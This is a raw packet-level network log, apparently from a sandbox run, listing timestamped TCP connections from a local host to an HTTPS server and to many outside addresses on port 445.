Jul 21, 2022 04:34:44.358760118 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.358764887 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.358782053 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.358793974 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.358829021 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.365051985 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.365082979 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.365183115 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.365201950 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.365247011 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.365276098 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.365299940 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.365346909 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.365362883 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.365386963 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.365405083 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.365775108 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.365799904 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.365880013 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.365894079 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.365921021 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.365937948 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.365966082 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.365988016 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.366086960 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.366096973 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.366328001 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.395405054 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.395505905 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.397119045 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.397222996 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.398708105 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.398749113 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.398817062 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.398832083 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.398885965 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.399111032 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.399144888 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.399182081 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.399193048 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.399209023 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.399210930 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.399230003 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.399241924 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.399269104 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.399276018 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.399283886 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.399293900 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.399316072 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.399329901 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.399363995 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.399384975 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.399415016 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.399430037 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.399435997 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.399449110 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.399482965 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.399506092 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.399533987 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.399566889 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.399574041 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.399590969 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.399596930 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.399620056 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.399660110 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.402977943 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.403021097 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.403156042 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.403160095 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.403182030 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.403255939 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.403270006 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.403285027 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.403302908 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.403333902 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.403364897 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.403376102 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.403471947 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.406903982 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.406934023 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.407036066 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.407054901 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.407094002 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.407105923 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.407382011 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.407488108 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.537988901 CEST	50566	445	192.168.2.6	60.150.167.61
Jul 21, 2022 04:34:44.538038015 CEST	50568	445	192.168.2.6	153.144.145.149
Jul 21, 2022 04:34:44.538634062 CEST	50586	445	192.168.2.6	81.62.99.97
Jul 21, 2022 04:34:44.556569099 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.557065964 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.560524940 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.560645103 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.564507961 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.564594030 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.604502916 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.607054949 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.612505913 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.612656116 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.663873911 CEST	50587	445	192.168.2.6	115.143.223.23
Jul 21, 2022 04:34:44.664566994 CEST	50588	445	192.168.2.6	211.71.125.129
Jul 21, 2022 04:34:44.665302992 CEST	50589	445	192.168.2.6	40.107.234.211
Jul 21, 2022 04:34:44.666222095 CEST	50590	445	192.168.2.6	43.219.138.109
Jul 21, 2022 04:34:44.666742086 CEST	50591	445	192.168.2.6	184.79.75.93
Jul 21, 2022 04:34:44.667300940 CEST	50592	445	192.168.2.6	58.47.73.232
Jul 21, 2022 04:34:44.669099092 CEST	50594	445	192.168.2.6	207.227.145.64
Jul 21, 2022 04:34:44.669101954 CEST	50595	445	192.168.2.6	58.95.71.210
Jul 21, 2022 04:34:44.669104099 CEST	50593	445	192.168.2.6	75.88.72.14
Jul 21, 2022 04:34:44.669327974 CEST	50596	445	192.168.2.6	74.9.35.215
Jul 21, 2022 04:34:44.669981003 CEST	50597	445	192.168.2.6	42.163.79.118
Jul 21, 2022 04:34:44.697793961 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.697812080 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.697829008 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.697905064 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.697911978 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.697922945 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.697973967 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698021889 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698030949 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698044062 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698055029 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698117971 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698124886 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698165894 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698174000 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698220015 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698227882 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698273897 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698286057 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698318958 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698331118 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698339939 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698379040 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698386908 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698440075 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698446989 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698482990 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698487997 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698502064 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698544025 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698549986 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698606014 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698612928 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698641062 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698647022 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698683977 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698693037 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698702097 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698713064 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698738098 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698755026 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698764086 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698801041 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698810101 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698818922 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698827028 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698849916 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698873043 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698883057 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698915005 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698925972 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698935986 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.698942900 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.698992014 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.699084044 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.699120045 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.699166059 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.699174881 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.699208975 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.699368000 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.701281071 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.701291084 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.701378107 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.701550961 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.701556921 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.701572895 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.701584101 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.701662064 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.701669931 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.701734066 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.701739073 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.701777935 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.701782942 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.701844931 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.701850891 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.701901913 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.701906919 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.701915979 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.701948881 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.701955080 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.702003002 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.702009916 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.702027082 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.702058077 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.702076912 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.702116966 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.702126026 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.702142954 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.702155113 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.702166080 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.702234983 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.702244043 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.702299118 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.702339888 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.702347994 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.702400923 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.702828884 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.702835083 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.702851057 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.702863932 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.702959061 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.702965021 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.702975988 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.703035116 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.703042030 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.703089952 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.703097105 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.703111887 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.703144073 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.703161001 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.703195095 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.703205109 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.703239918 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.703244925 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.703298092 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.703322887 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.703335047 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.703494072 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.703502893 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.703526974 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.703532934 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.703628063 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.704071045 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.704077005 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.704088926 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.704161882 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.704210997 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.704217911 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.704262972 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.704451084 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.704457998 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.704488993 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.704499960 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.704596043 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.704606056 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.704669952 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.704679012 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.704725981 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.704735041 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.704752922 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.704767942 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.704773903 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.704864025 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.704873085 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.704937935 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.704947948 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.705020905 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.705123901 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.705548048 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.705554962 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.705565929 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.705648899 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.705703974 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.730021954 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.730046988 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.730076075 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.730082989 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.730210066 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.730220079 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.730319023 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.730325937 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.730392933 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.730401039 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.730415106 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.730459929 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.730468035 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.730537891 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.730545044 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.730559111 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.730612993 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.730671883 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.731105089 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.731111050 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.731251955 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.731441975 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.731446981 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.731524944 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.731942892 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.732089043 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.732662916 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.732678890 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.761745930 CEST	50598	445	192.168.2.6	136.81.168.110
Jul 21, 2022 04:34:44.812513113 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.813971996 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.842906952 CEST	445	50566	60.150.167.61	192.168.2.6
Jul 21, 2022 04:34:44.842943907 CEST	445	50568	153.144.145.149	192.168.2.6
Jul 21, 2022 04:34:44.911498070 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.911525011 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.911544085 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.911607027 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.911616087 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.911691904 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.911719084 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.911756039 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.911768913 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.911835909 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.911851883 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.911870003 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.911880016 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.911889076 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.911921024 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.911931992 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.911977053 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.911993980 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.912033081 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.912045002 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.912060022 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.912091970 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.912098885 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.912152052 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.912159920 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.912178040 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.912204981 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.912210941 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.912264109 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.912270069 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.912410975 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.912421942 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.912436008 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.912497044 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.912556887 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.912568092 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.912616014 CEST	50549	443	192.168.2.6	80.67.82.211
